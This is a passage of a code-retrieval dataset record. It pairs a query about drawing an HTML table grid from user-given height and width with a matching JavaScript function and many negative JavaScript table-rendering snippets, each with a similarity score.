= document.createElement('tr')\\r\\n // specie link column\\r\\n const specieLinkCol = document.createElement('td')\\r\\n const specieLink = document.createElement('a')\\r\\n specieLink.setAttribute('href', obj.link)\\r\\n specieLink.textContent = obj.specie\\r\\n\\r\\n specieLinkCol.appendChild(specieLink)\\r\\n\\r\\n // specie color box\\r\\n const colorCol = document.createElement('td')\\r\\n const colorBox = document.createElement('span')\\r\\n colorBox.classList.add('specie_color-box')\\r\\n colorBox.style = `background-color: ${obj.color}`\\r\\n\\r\\n colorCol.appendChild(colorBox)\\r\\n\\r\\n // species months\\r\\n const monthsCol = document.createElement('td')\\r\\n const monthsDiv = document.createElement('div')\\r\\n monthsDiv.classList.add('months')\\r\\n months.forEach(month => {\\r\\n const monthBox = document.createElement('span')\\r\\n monthBox.classList.add('month-box')\\r\\n\\r\\n monthsDiv.appendChild(monthBox)\\r\\n })\\r\\n\\r\\n const monthBoxes = selectAll('span.month-box', monthsDiv)\\r\\n\\r\\n obj.months.forEach(month => {\\r\\n monthBoxes[month - 1].classList.add('filled')\\r\\n })\\r\\n\\r\\n monthsCol.appendChild(monthsDiv)\\r\\n\\r\\n\\r\\n // append children to specie\\r\\n specieRow.appendChild(specieLinkCol)\\r\\n specieRow.appendChild(colorCol)\\r\\n specieRow.appendChild(monthsCol)\\r\\n\\r\\n tableBody.appendChild(specieRow)\\r\\n })\\r\\n }\",\n \"refreshPage() {\\n $(\\\"#tableMasterHeader tr\\\").last().remove();\\n this.drawFilterForTable(\\\"#tableMasterHeader\\\");\\n $(\\\".ASC\\\").removeClass(\\\"ASC\\\");\\n $(\\\".DESC\\\").removeClass(\\\"DESC\\\");\\n $(\\\"#PageSize\\\").val(50);\\n $(\\\"#offsetRow\\\").val(1);\\n $('#tableMasterHeader th[property=\\\"RefDate\\\"]').addClass(\\\"DESC\\\");\\n var data = this.getValueToLoadData();\\n data[\\\"OrderQuery\\\"] = resource.OrderBy.RefDateDesc;\\n this.order = resource.OrderBy.RefDateDesc;\\n this.loadDataMaster(data);\\n }\",\n \"function renderTable() { \\r\\n $tbody.innerHTML = \\\"\\\";\\r\\n var length = filteredData.length;\\r\\n for (var i = 0; i < length; i++) {\\r\\n // Get get the current address object and its fields\\r\\n var data = filteredData[i]; \\r\\n var fields = Object.keys(data); \\r\\n // Create a new row in the tbody, set the index to be i + startingIndex\\r\\n var $row = $tbody.insertRow(i);\\r\\n for (var j = 0; j < fields.length; j++) {\\r\\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\\r\\n var field = fields[j];\\r\\n var $cell = $row.insertCell(j);\\r\\n $cell.innerText = data[field];\\r\\n }\\r\\n }\\r\\n}\",\n \"function table_reset() {\\n $('.crash-table tbody').html(\\\"\\\");\\n}\",\n \"function reset() {\\n d3.selectAll(\\\"#tableVis table tr\\\").style(\\\"font-weight\\\", \\\"normal\\\");\\n destroyVis();\\n colleges = Object.keys(current_json);\\n autocomp();\\n createVis(current_json, current_csv);\\n}\",\n \"function render_table_chunk() {\\n\\n $tablehead.text('');\\n $tablebody.text('');\\n \\n chunkdata = alien_data.slice((currentPage-1) * perPage, currentPage * perPage);\\n\\n try {\\n \\n //setting up a header\\n var $headrow = $tablehead.append(\\\"tr\\\");\\n Object.keys(alien_data[0]).forEach(item => $headrow.append('td').text(item));\\n\\n // setting up a table\\n chunkdata.forEach(function(item) {\\n var $bodyrow = $tablebody.append('tr');\\n Object.values(item).forEach(value => $bodyrow.append('td').text(value));\\n });\\n }\\n\\n catch (error) {\\n console.log('NO data in the dataset');\\n $tablehead.append('tr')\\n .append('td')\\n .text('Sorry we do not have the data you have requested. Please refresh the page and do another search.');\\n \\n d3.selectAll('.pagination')\\n .style('display', 'none'); \\n }\\n\\n $currentpage.text(currentPage);\\n window.name = JSON.stringify(alien_data);\\n numberOfPages = Math.ceil(alien_data.length / perPage);\\n \\n}\",\n \"function refreshTable() {\\n\\t\\tvar partners = [\\\"piston\\\", \\\"plumgrid\\\"];\\n\\t\\tfor (var i = 0; i < partners.length; i++) {\\n\\t\\t\\tdoAjaxSelects(partners[i])\\n\\t\\t}\\n\\t\\tsetTimeout(refreshTable, 1000);\\n\\t}\",\n \"function drawAppTable() {\\n var idTable = new Array('first_app', 'second_app', 'third_app');\\n var inc = 0, i = 1;\\n var tdEl;\\n // add appointments\\n for (var field in jsonAppsPerHour) {\\n document.getElementById(idTable[inc]).style.display = \\\"\\\";\\n console.log(\\\"in first loop idTable[\\\" + inc + \\\"] = \\\" + idTable[inc]);\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].PatientID;\\n i += 2;\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].Fname;\\n i += 2;\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].Lname;\\n i += 2;\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].DocFullName;\\n i += 2;\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].EmployeeID;\\n i += 2;\\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \\n jsonAppsPerHour[field].AppointmentID;\\n \\n inc += 1;\\n i = 1;\\n }\\n if (inc < 3) { // have all table rows been filled?\\n for (var i = 2;i >= inc; i--) {\\n document.getElementById(idTable[i]).style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"function buildTable(){\\n\\n}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < filteredUFOData.length; i++) {\\n\\n // Get UFO Data object and its fields\\n var UFOdata = filteredUFOData[i];\\n var fields = Object.keys(UFOdata);\\n\\n // Create new row in tbody\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n\\n // For every field in the UFOData object create a new cell at set its inner text to be the current value at the current address's field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = UFOdata[field];\\n }\\n\\n }\\n\\n}\",\n \"function init() {\\n theTable.innerHTML = '';\\n makeHeader();\\n for(var i = 0; i < Shop.all.length; i++){\\n Shop.all[i].render();\\n }\\n makeFooter();\\n}\",\n \"function remplirTableau() {\\r\\n tabIsEmpty = false;\\r\\n tbody.empty();\\r\\n var html = \\\"\\\";\\r\\n data.forEach(function (element) {\\r\\n html = '' +\\r\\n '' + element.order + '' +\\r\\n '' + element.activity + '' +\\r\\n '' + element.manager + '' +\\r\\n '' + element.numofsub + '' +\\r\\n '';\\r\\n tbody.append(html);\\r\\n });\\r\\n }\",\n \"function clearContent(){\\n\\t$('#output').html('
    ');\\n}\",\n \"function effacerTableau() {\\r\\n tabIsEmpty = true;\\r\\n tbody.empty();\\r\\n }\",\n \"function reload(){\\n\\tvar body = document.getElementById(\\\"body\\\");\\n\\twhile(body.firstChild){\\n\\t\\tbody.removeChild(body.firstChild);\\n\\t}\\n\\tvar table = document.createElement(\\\"table\\\");\\n\\ttable.id = \\\"firstTable\\\";\\n\\ttable.classList = \\\"table table-hover\\\";\\n\\tvar thead = document.createElement(\\\"thead\\\");\\n\\tthead.id = \\\"thead\\\";\\n\\tthead.classList = \\\"thead-dark\\\";\\n\\tvar tbody = document.createElement(\\\"tbody\\\");\\n\\ttbody.id = \\\"tbody\\\";\\n\\ttable.appendChild(thead);\\n\\ttable.appendChild(tbody);\\n\\tbody.appendChild(table);\\n}\",\n \"function drawTable() {\\n var id = 1;\\n var productData = '';\\n\\n $(\\\"#product-table > tbody\\\").empty();\\n\\n $.getJSON(\\\"/Products\\\", function (data) {\\n if (data != 0) {\\n $.each(data, function (key, value) {\\n productData += '';\\n productData += '' + id++ + '';\\n productData += ' ' + value.name + '';\\n productData += '' + value.code + '';\\n productData += '' + value.group_name + '';\\n productData += '' + unitArray[value.unit] + '';\\n productData += '' + value.description + '';\\n productData += ' ';\\n productData += '';\\n codeOfLastProduct = value.code;\\n });\\n $(\\\"#product-table\\\").append(productData);\\n displayTable();\\n }\\n else {\\n removeTable();\\n }\\n });\\n }\",\n \"renderTable() {\\n if (!this.hasSetupRender()) {\\n return;\\n }\\n\\n // Iterate through each found schema\\n // Each of them will be a table\\n this.parsedData.forEach((schemaData, i) => {\\n const tbl = document.createElement('table');\\n tbl.className = `${this.classNamespace}__table`;\\n\\n // Caption\\n const tblCaption = document.createElement('caption');\\n const tblCaptionText = document.createTextNode(`Generated ${this.schemaName} Schema Table #${i + 1}`);\\n tblCaption.appendChild(tblCaptionText);\\n\\n // Table Head\\n const tblHead = document.createElement('thead');\\n const tblHeadRow = document.createElement('tr');\\n const tblHeadTh1 = document.createElement('th');\\n const tblHeadTh2 = document.createElement('th');\\n const tblHeadTh1Text = document.createTextNode('itemprop');\\n const tblHeadTh2Text = document.createTextNode('value');\\n tblHeadTh1.appendChild(tblHeadTh1Text);\\n tblHeadTh2.appendChild(tblHeadTh2Text);\\n tblHeadRow.appendChild(tblHeadTh1);\\n tblHeadRow.appendChild(tblHeadTh2);\\n tblHead.appendChild(tblHeadRow);\\n\\n const tblBody = document.createElement('tbody');\\n\\n generateTableBody(tblBody, schemaData);\\n\\n // put the in the \\n tbl.appendChild(tblCaption);\\n tbl.appendChild(tblHead);\\n tbl.appendChild(tblBody);\\n // appends
    into container\\n this.containerEl.appendChild(tbl);\\n // sets the border attribute of tbl to 0;\\n tbl.setAttribute('border', '0');\\n });\\n\\n // Close table btn\\n const closeBtn = document.createElement('button');\\n closeBtn.setAttribute('aria-label', 'Close');\\n closeBtn.setAttribute('type', 'button');\\n closeBtn.className = 'schema-parser__close';\\n this.containerEl.appendChild(closeBtn);\\n // Add close handler\\n closeBtn.addEventListener('click', this.handleClose.bind(this));\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.7407916","0.73421526","0.731697","0.7130859","0.70566887","0.68977284","0.6853059","0.67965204","0.6790126","0.67550945","0.67364925","0.66919464","0.6648768","0.6648","0.66468537","0.6614461","0.6550473","0.65374005","0.6521049","0.6520708","0.6518475","0.6507798","0.6489031","0.6475376","0.6457053","0.6447409","0.6446392","0.63909656","0.6389993","0.63896865","0.63894475","0.63862705","0.63778657","0.63638604","0.63584983","0.63336426","0.6329898","0.6325228","0.6315492","0.63098437","0.6308456","0.63011056","0.6291633","0.62906194","0.6286708","0.62790257","0.6278808","0.6275707","0.6270439","0.62698215","0.6269473","0.6266523","0.62581134","0.6257615","0.62393355","0.62353265","0.62348413","0.6213935","0.6213625","0.6212537","0.6212475","0.62110966","0.62084347","0.62067896","0.61994284","0.6198757","0.6195235","0.61923605","0.61901754","0.61899155","0.61749935","0.6173306","0.616825","0.6165843","0.61592937","0.61421597","0.6140533","0.6137206","0.61332047","0.61331904","0.61318433","0.61221015","0.6120195","0.61198705","0.61152565","0.611268","0.6109116","0.61077565","0.6105203","0.60969776","0.6093599","0.60924274","0.6089217","0.60847336","0.6071179","0.60691625","0.6067262","0.60660106","0.606497","0.60611016","0.6044294"],"string":"[\n \"0.7407916\",\n \"0.73421526\",\n \"0.731697\",\n \"0.7130859\",\n \"0.70566887\",\n \"0.68977284\",\n \"0.6853059\",\n \"0.67965204\",\n \"0.6790126\",\n \"0.67550945\",\n \"0.67364925\",\n \"0.66919464\",\n \"0.6648768\",\n \"0.6648\",\n \"0.66468537\",\n \"0.6614461\",\n \"0.6550473\",\n \"0.65374005\",\n \"0.6521049\",\n \"0.6520708\",\n \"0.6518475\",\n \"0.6507798\",\n \"0.6489031\",\n \"0.6475376\",\n \"0.6457053\",\n \"0.6447409\",\n \"0.6446392\",\n \"0.63909656\",\n \"0.6389993\",\n \"0.63896865\",\n \"0.63894475\",\n \"0.63862705\",\n \"0.63778657\",\n \"0.63638604\",\n \"0.63584983\",\n \"0.63336426\",\n \"0.6329898\",\n \"0.6325228\",\n \"0.6315492\",\n \"0.63098437\",\n \"0.6308456\",\n \"0.63011056\",\n \"0.6291633\",\n \"0.62906194\",\n \"0.6286708\",\n \"0.62790257\",\n \"0.6278808\",\n \"0.6275707\",\n \"0.6270439\",\n \"0.62698215\",\n \"0.6269473\",\n \"0.6266523\",\n \"0.62581134\",\n \"0.6257615\",\n \"0.62393355\",\n \"0.62353265\",\n \"0.62348413\",\n \"0.6213935\",\n \"0.6213625\",\n \"0.6212537\",\n \"0.6212475\",\n \"0.62110966\",\n \"0.62084347\",\n \"0.62067896\",\n \"0.61994284\",\n \"0.6198757\",\n \"0.6195235\",\n \"0.61923605\",\n \"0.61901754\",\n \"0.61899155\",\n \"0.61749935\",\n \"0.6173306\",\n \"0.616825\",\n \"0.6165843\",\n \"0.61592937\",\n \"0.61421597\",\n \"0.6140533\",\n \"0.6137206\",\n \"0.61332047\",\n \"0.61331904\",\n \"0.61318433\",\n \"0.61221015\",\n \"0.6120195\",\n \"0.61198705\",\n \"0.61152565\",\n \"0.611268\",\n \"0.6109116\",\n \"0.61077565\",\n \"0.6105203\",\n \"0.60969776\",\n \"0.6093599\",\n \"0.60924274\",\n \"0.6089217\",\n \"0.60847336\",\n \"0.6071179\",\n \"0.60691625\",\n \"0.6067262\",\n \"0.60660106\",\n \"0.606497\",\n \"0.60611016\",\n \"0.6044294\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":30,"cells":{"query":{"kind":"string","value":"Draw a grid (html table) according to the input values for height and width of user"},"document":{"kind":"string","value":"function drawHTMLGrid(height, width, gridID) {\n var gridHTML = document.getElementById(gridID);\n // Clear previous table and stop game of life algorithm\n gridHTML.innerHTML = \"\";\n clearInterval(globalInterval);\n // Create html table\n for (var i = 0; i < height; i++) {\n var row = gridHTML.insertRow(0);\n for (var j = 0; j < width; j++) {\n var cell = row.insertCell(0);\n cell.innerHTML = \"\";\n }\n }\n // Onclick a table element, change its class \n $(\".grid td\").click(function () {\n if (this.className == \"\")\n this.className = \"selected\";\n else\n this.className = \"\";\n });\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function makeGrid() {\n const height = inputHeight.val();\n const width = inputWidth.val();\n\n for (let i = 0; i < height; i++) {\n const row = $('');\n for (let j = 0; j < width; j++) {\n row.append('');\n }\n canvas.append(row);\n }\n}","function makeGrid (){\nvar in1= $('#input_height').val();\nvar in2= $('#input_width').val();\n$(\"#pixel_canvas\").html(table(in1,in2)); }","function makeGrid(inputHeight, inputWidth) {\n var grid = '';\n\n for (let i = 0; i < inputHeight; i++) {\n grid += '';\n for (let w = 0; w < inputWidth; w++) {\n grid += '';\n };\n grid += '';\n };\n\n //append grid to the table\n pixelCanvas.innerHTML = grid;\n}","function makeGrid() {\n // reset pixel canvas\n $(\"#pixelCanvas\").html(\"\");\n // Select size input\n height = $(\"#inputHeight\").val();\n width = $(\"#inputWeight\").val();\n //loop to add table cells and rows according to user input\n for (let x = 0; x < height; x++) {\n $('#pixelCanvas').append('');\n }\n for (let y = 0; y < width; y++) {\n $('#pixelCanvas tr').each(function () {\n $(this).append('');\n });\n }\n}","function makeGrid(){\n\tconst inputHt=$('#inputHeight').val(); //Getting input value for row\n\tconst inputWt=$('#inputWidth').val(); //Getting input value for column\n\n\tfor(var i=0;i\"); //creating rows\n\t\tfor(var j=0;j\"); //creating columns\n\t\t}\n\t}\n}","function makeGrid() {\n var {width, height} = size_input();\n\n for (rowNum = 0; rowNum < height; rowNum++) {\n grid.append(\" \");\n }\n for (colNum = 0; colNum < width; colNum++) {\n $(\"#pixel_canvas tr\").append(\" \");\n }\n}","function makeGrid(){\r\n $('#pixel_canvas').children().remove();\r\n row=$('#input_height').val();\r\n column=$('#input_width').val();\r\n var i=0;\r\n while(i');\r\n for(var j=0;j');\r\n }\r\n i++;\r\n }\r\n }","function makeGrid(event) {\n// Your code goes here!\n event.preventDefault();\n let height = heightInput.value;\n let width = widthInput.value;\n console.log(height + \",\" + width);\n while (pixelCanvas.firstChild) {\n pixelCanvas.removeChild(pixelCanvas.firstChild);\n }\n\n for (let i = 0; i < height; i++) {\n let newRow = document.createElement(\"tr\");\n for (let j = 0; j < width; j++) {\n let newTd = document.createElement(\"td\");\n newRow.appendChild(newTd);\n }\n pixelCanvas.append(newRow);\n }\n}","function makeGrid(inputWidth, inputHeight) {\n\tlet table = \"\";\n\n\tfor (let row = 0; row < inputHeight; row++) {\n\t\t$('.row').remove();\n\t\ttable += \"\";\n\t\tfor (let column = 0; column < inputWidth; column++) {\n\t\t\tif (column % 2 === 0 && row % 2 === 1) {\n\t\t\t\ttable += \"\";\n\t\t\t} else if (column % 2 === 1 && row % 2 === 0) {\n\t\t\t\ttable += \"\";\n\t\t\t} else {\n\t\t\t\ttable += \"\";\n\t\t\t}\n\t\t}\n\t\ttable += \"\";\n\t}\n\tpixelCanvas.append(table);\n}","function makeGrid() {\n\n // get the table element\n const canvas = document.getElementById('pixelCanvas');\n // reset grid\n while(canvas.firstChild) {\n canvas.removeChild(canvas.firstChild);\n }\n\n\n var width = sizeForm.width.value;\n var height = sizeForm.height.value;\n console.debug(width);\n console.debug(height);\n \n // create grid with height and width inputs\n for(y = 0; y < height; y++) {\n row = canvas.appendChild(document.createElement('TR'));\n for(x = 0; x < width; x++) {\n cell = row.appendChild(document.createElement('TD'));\n }\n }\n\n canvas.addEventListener('click', changeColor);\n\n}","function createGrid(width, height) {\n\n}","function makeGrid() {\n\t// hide the Grid by defult to show it in an animation style\n\ttable.hide();\n\ttable.empty();\n\n\tconst width = $('#input_width').val() ;\n\tconst height = $('#input_height').val() ;\n\n\t// no create the Grid !!\n\t// create the rows first (height).\n\tfor(var i = 0; i < height; i++) {\n\t\ttable.append('') ;\n\t}\n\t// then we create the columns(width).\n\tfor(var i = 0; i < width; i++) {\n\t\t$('.rows').append('') ;\n\t}\n}","function makeGrid(e) {\n // Select color input\n // const colorPicked = document.getElementById('colorPicker').value;\n // Select size input\n //height (tr)\n let inputHeight = document.getElementById('inputHeight').value;\n // console.log(inputHeight);\n //width (td)\n let inputWidth = document.getElementById('inputWidth').value;\n // console.log(inputWidth);\n // canvas\n let pixelCnvs = document.getElementById('pixelCanvas');\n pixelCnvs.innerHTML = '';\n // adding tr and td to the table\n let tableBody = document.createElement('tbody');\n for(let i = 0; i < inputHeight; i++) {\n let tableRow = document.createElement('tr');\n for (let j = 0; j < inputWidth; j++) {\n let tableColumn = document.createElement('td');\n tableColumn.appendChild(document.createTextNode(''));\n tableRow.appendChild(tableColumn);\n }\n tableBody.appendChild(tableRow);\n }\n pixelCnvs.appendChild(tableBody);\n e.preventDefault();\n\n}","function makeGrid(evt) {\n\t//access current height and width\n\txCell = $(\"#inputWidth\").val();\n\tyCell = $(\"#inputHeight\").val(); \n\t//access table element\n\ttable = $(\"#pixelCanvas\");\n\trows =\"\";//rows\n\tcols =\"\";//cols\n\t//create xCell no of row.\n\tfor(var r=1; r<=yCell; r++){\n\t\trows = rows + \"\";\n\t}\n\t//create ycell no of column in each row.\n\tfor(var c=1; c<=xCell; c++){\n\t\tcols = cols + \"\";\n\t}\n\t//create table with above rows and cols.\n\ttable.html(rows);\n\t$(\"tr\").html(cols);\n\t//do not submit.\n\tevt.preventDefault();\n}","function makeGrid(height,width) {\n for (let r = 0; r < height; r++) {\n $('#pixel_canvas').prepend('');\n for (let d = 0; d < width; d++) {\n $('tr').first().append('')\n }\n }\n}","function makeGrid(height, width) {\r\n// Grid is cleared\r\n pixelCanvas.empty();\r\n// Create new grid\r\n// Create rows\r\n for (let row = 0; row < height; row++) {\r\n let tableRow = $('');\r\n// Create columns\r\n for (let col = 0; col < width; col++) {\r\n let tableCell = $('');\r\n// Append table data to create grid\r\n tableRow.append(tableCell);\r\n }// End col for loop\r\n pixelCanvas.append(tableRow);\r\n }// End row for loop\r\n }// End makeGrid function","function makeGrid(){\n\tfor(let row = 0; row < inputHeight.value; row++){\n\t\tconst tableRow = pixelCanvas.insertRow(row);\n\t\tfor(let cell = 0; cell < inputWidth.value; cell++){\n\t\t\tconst cellBlock = tableRow.insertCell(cell);\n\t\t}\n\t}\n}","function makeGrid() {\n canvas.find('tablebody').remove();\n\n // \"submit\" the size form to update the grid size\n let gridRows = gridHeight.val();\n let gridCol = gridWeight.val();\n\n // set tablebody to the table\n canvas.append('');\n\n let canvasBody = canvas.find('tablebody');\n\n // draw grid row\n for (let i = 0; i < gridRows; i++) {\n canvasBody.append('');\n }\n\n // draw grid col\nfor (let i = 0; i < gridCol; i++) {\n canvas.find('tr').append('');\n }\n\n }","function makeGrid() {\n // Avoid the creation of repeating elements (h3, h4 tags)\n setInitialStates();\n\n const tableHeight = $('#input_height').val();\n const tableWidth = $('#input_width').val();\n\n // clear the old canvas\n myTable.children().remove();\n\n //Set maximum limit for number inputs\n if(tableHeight>50||tableWidth>50){\n alert(\"Please Insert a Number Between 1 and 50 for GRID Height & Width\");\n // Function the removes the unnecessary info tags (at this point)\n setInitialStates();\n // Reset the input values\n $(\"form input[type=number]\").val(\"1\");\n return true;\n }else {\n // Create the table\n for (let n = 1; n<=tableHeight; n++){\n // Create rows\n myTable.append('');\n for(let m = 1; m<=tableWidth; m++){\n $('tr').last().append('');\n }\n }\n // Add the extra info\n addInfo();\n }\n}","function makeGrid() {\n\n //Get nb of rows and cols input\n const rows = $(\"#inputHeight\").val();\n const cols = $(\"#inputWidth\").val();\n \n //the table\n const table = $(\"#pixelCanvas\");\n \n //Reset to the empty tabl, in case one already created\n table.children().remove();\n \n //Make rows\n for (let i = 0; i < rows; i++) {\n table.append(\"\");\n //Create cols\n for (let j = 0; j < cols; j++) {\n table.children().last().append(\"\");\n }\n }\n \n //Listen for cell clicks\n table.on(\"click\", \"td\", function() {\n //Get color from color picker\n let color = $(\"input#colorPicker\").val();\n //Apply color to cell\n $(this).attr(\"bgcolor\", color);\n });\n }","function makeGrid(height, width) {\n\n for (let i = 0; i < height; i++){\n const rows = document.createElement(\"tr\");\n for (let j = 0; j < width; j++){\n const cells = document.createElement(\"td\");\n rows.appendChild(cells);\n cells.setAttribute(\"id\", \"cell\" + [i]+[j]);\n cells.setAttribute(\"onclick\", \"drawPixels(this.id)\");\n }\n table.appendChild(rows);\n }\n}","function makeGrid(height, width) {\n table;\n var grid = '';\n\n for (var i = 0; i < height; i++){\n grid += '';\n for (var j = 0; j < width; j++){\n grid += '';\n }\n grid += '';\n }\n table.innerHTML = grid;\n addClickEventToCells();\n}","function makeGrid(height, width) {\n // create rows\n for (let i = 0; i < height; i++) {\n let row = document.createElement('tr');\n table_element.appendChild(row);\n // create columns\n for (let j = 0; j < width; j++) {\n let column = document.createElement('td');\n row.appendChild(column);\n // add event to cell\n column.addEventListener('mousedown', function () {\n let color = color_value.value;\n this.style.backgroundColor = color;\n });\n }\n }\n}","function makeGrid() {\n\n// Your code goes here!\n var height, width, grid, gridrow;\n height = $('#inputHeight').val();\n width = $('#inputWeight').val();\n grid = $('#pixelCanvas');\n gridrow = $('#pixelCanvas tr');\n\n for (var x = 0; x < width; x++) {\n for (var y = 0; y < height; y++)\n grid.append('tr');\n }\n gridrow.append('td');\n}","function makeGrid() {\n\n let h = height.value;\n let w = width.value;\n\n // Clear table\n for (let i = table.rows.length; i > 0 ; i--) {\n table.deleteRow(i - 1);\n }\n\n for (let y = 0; y < h; y++) {\n const newTr = document.createElement('tr');\n table.appendChild(newTr);\n for (let x = 0; x < w; x++) {\n const newTd = document.createElement('td');\n table.lastChild.appendChild(newTd);\n }\n }\n\n let cell = table.querySelectorAll('td');\n\n for (let i = 0; i < cell.length; i++) {\n cell.item(i).addEventListener('click', function () {\n this.style.backgroundColor = color.value;\n });\n }\n}","function makeGrid(height,width,table){\n for(var r=0;r 50) || (canvasHeight < 1) || (canvasHeight > 50))) {\n // $('.warning p').css('visibility', 'visible');\n // $('.warning p').fadeOut(7000, function() {\n // $(this).css('display', 'block');\n // $(this).css('visibility', 'hidden');\n // });\n // } else {\n\n // Actual function making all hard work :)\n for (let i = 0; i < canvasHeight; i++) {\n $('#pixel_canvas').append('');\n for (let i = 0; i < canvasWidth; i++) {\n $('tr:last-of-type').append('');\n };\n };\n}","function makeGrid() {\n // Removing previous grid if it exists\n $('tr').remove();\n // Setting variables for width and height\n const canvasWidth = $('#input_width').val();\n const canvasHeight = $('#input_height').val();\n // Conditional for checking correct input\n // NOT NEEDED ANYMORE\n\n // if (((canvasWidth < 1) || (canvasWidth > 50) || (canvasHeight < 1) || (canvasHeight > 50))) {\n // $('.warning p').css('visibility', 'visible');\n // $('.warning p').fadeOut(7000, function() {\n // $(this).css('display', 'block');\n // $(this).css('visibility', 'hidden');\n // });\n // } else {\n\n // Actual function making all hard work :)\n for (let i = 0; i < canvasHeight; i++) {\n $('#pixel_canvas').append('');\n for (let i = 0; i < canvasWidth; i++) {\n $('tr:last-of-type').append('');\n };\n };\n}","function makeGrid(height,width) {\n\n// Your code goes here!\n event.preventDefault();\n var stgTable = \"\"\n for(var intCountHeight = 0; intCountHeight < height; intCountHeight++) {\n stgTable = stgTable + \"\";\n for(var intCountWidth = 0; intCountWidth < width; intCountWidth++) {\n stgTable = stgTable + \"\"\n };\n stgTable = stgTable + \"\";\n };\n\n tblElement.innerHTML = stgTable;\n\n}","function makeGrid(height, width) {\n // set size of canvas\n for (var i = 0; i < height.value; i++) {\n const row = canvas.insertRow(i); // calls the function to set size rows\n for (var j = 0; j < width.value; j++) {\n const cell = row.insertCell(j); // cal the function to set size of insertCell\n cell.addEventListner(\"click\", fillSquare);\n }\n }\n}","function makeGrid() {\n\n let height = document.getElementById('inputHeight').value;\n let width = document.getElementById('inputWidth').value;\n let table = document.getElementById('pixelCanvas');\n\n console.log(height, width)\n// clear table\ntable.innerHTML = '';\ncolor.value = '#000000'\n for (var i=0; i\"));\n\t\tfor(j = 0; j < width; j++){\n\t\t\t$(\"tr\").last().append($(\"\"));\n\t\t}\t\n\t}\n\n\t$(\"td\").on('click', function(event){\n\t\tconst painting = $('#colorPicker').val(); // Select color input\n\t\t$(event.target).css('background-color', painting); //painting the background of td with color picked by user\n\t});\n\n}","function makeGrid() {\r\n // Your code goes here!\r\n var height,width,table;\r\n\r\n //the value of height and width\r\n var height=$(\"#input_height\").val();\r\n var width=$(\"#input_width\").val();\r\n\r\n var table=$(\"#pixel_canvas\");\r\n\r\n\r\n //to create new table, we must delete the prev\r\n table.children().remove();\r\n\r\n //to create rows and columns\r\n for (var i=0; i\");\r\n for (var j=0; j\");\r\n }\r\n }\r\n\r\n //make event listener when we click on any cell, color it\r\n table.on(\"click\",\"td\",function() {\r\n var color=$(\"input[type='color']\").val();\r\n $(this).attr(\"bgcolor\",color);\r\n });\r\n}","function makeGrid() {\n\tlet\trowNUM = $('#inputHeight').val();\n\tlet\tcolumnNUM = $('#inputWeight').val();\n\t$('table').children().remove();\n\t\n\tfor(let i = 0;i < rowNUM; i++) {\n\t\t$('table').append('');\n\t\t}\n\tfor (let j = 0; j < columnNUM; j++) {\n\t\t$('tr').append('');\n\t\t}\n\t\n\t//上色\n\t$('td').on('click',function() {\n\tvar color = $('#colorPicker').val();\n\t$(this).attr('bgcolor', color);\n})\n}","function makeCells() {\n const rows = InputHeight.val();\n const cols = InputWidth.val();\n const pixelSize = InputSize.val() + 'px';\n const TotalCells = rows * cols;\n // Setting memory limit for undo-redo operations\n UndoLimit = (TotalCells < 400) ? 5 : (TotalCells < 1600) ? 3 : 2;\n // \"Start drawing\" button goes to the normal mode\n SubmitBtn.removeClass('pulse');\n // Creating table rows\n for (let i = 0; i < rows; i++) {\n Canvas.append('');\n }\n CanvasTr = $('.tr');\n // Creating cells to every row\n for (let j = 0; j < cols; j++) {\n CanvasTr.append('\"));\n for (let col = 0; col < width; col++) {\n $(\"tr\")\n .last()\n .append($(\"\"));\n\n $(\"td\").attr(\"class\", \"pixel\");\n }\n }\n}","function createDivs(gridDimension, canvasSize) {\n $(\".container\").children().remove();\n $(\".container\").append(\"
    ');\n }\n CanvasTd = $('.td');\n CanvasTr.css('height', pixelSize);\n CanvasTd.css('width', pixelSize);\n isSmthOnCanvas = false;\n // Turning off the context menu over canvas\n Canvas.contextmenu(function () {\n return false;\n })\n // Adding a delay for avoid overloading browser by simultaneously animation\n if (body.hasClass('checked') == false) {\n setTimeout(function () {\n CanvasBgr.slideToggle(250);\n }, 700);\n // For hiding useless elements\n body.addClass('checked');\n }\n else {\n CanvasBgr.slideToggle(250);\n };\n drawing();\n manageHistory();\n }","function makeGrid(height, width) {\n for (let row = 0; row < height; row++) {\n $(\"#pixelCanvas\").append($(\"
    \");\n for(i=0; i< gridDimension; i++) {\n $(\".container\").append(\"\");\n for(j=0; j < gridDimension; j++) {\n $(\".container\").append(\"\")\n $(\"td\").css(\"height\", canvasSize/gridDimension);\n $(\"td\").css(\"width\", canvasSize/gridDimension);\n }\n $(\".container\").append(\"\");\n }\n $(\".container\").append(\"
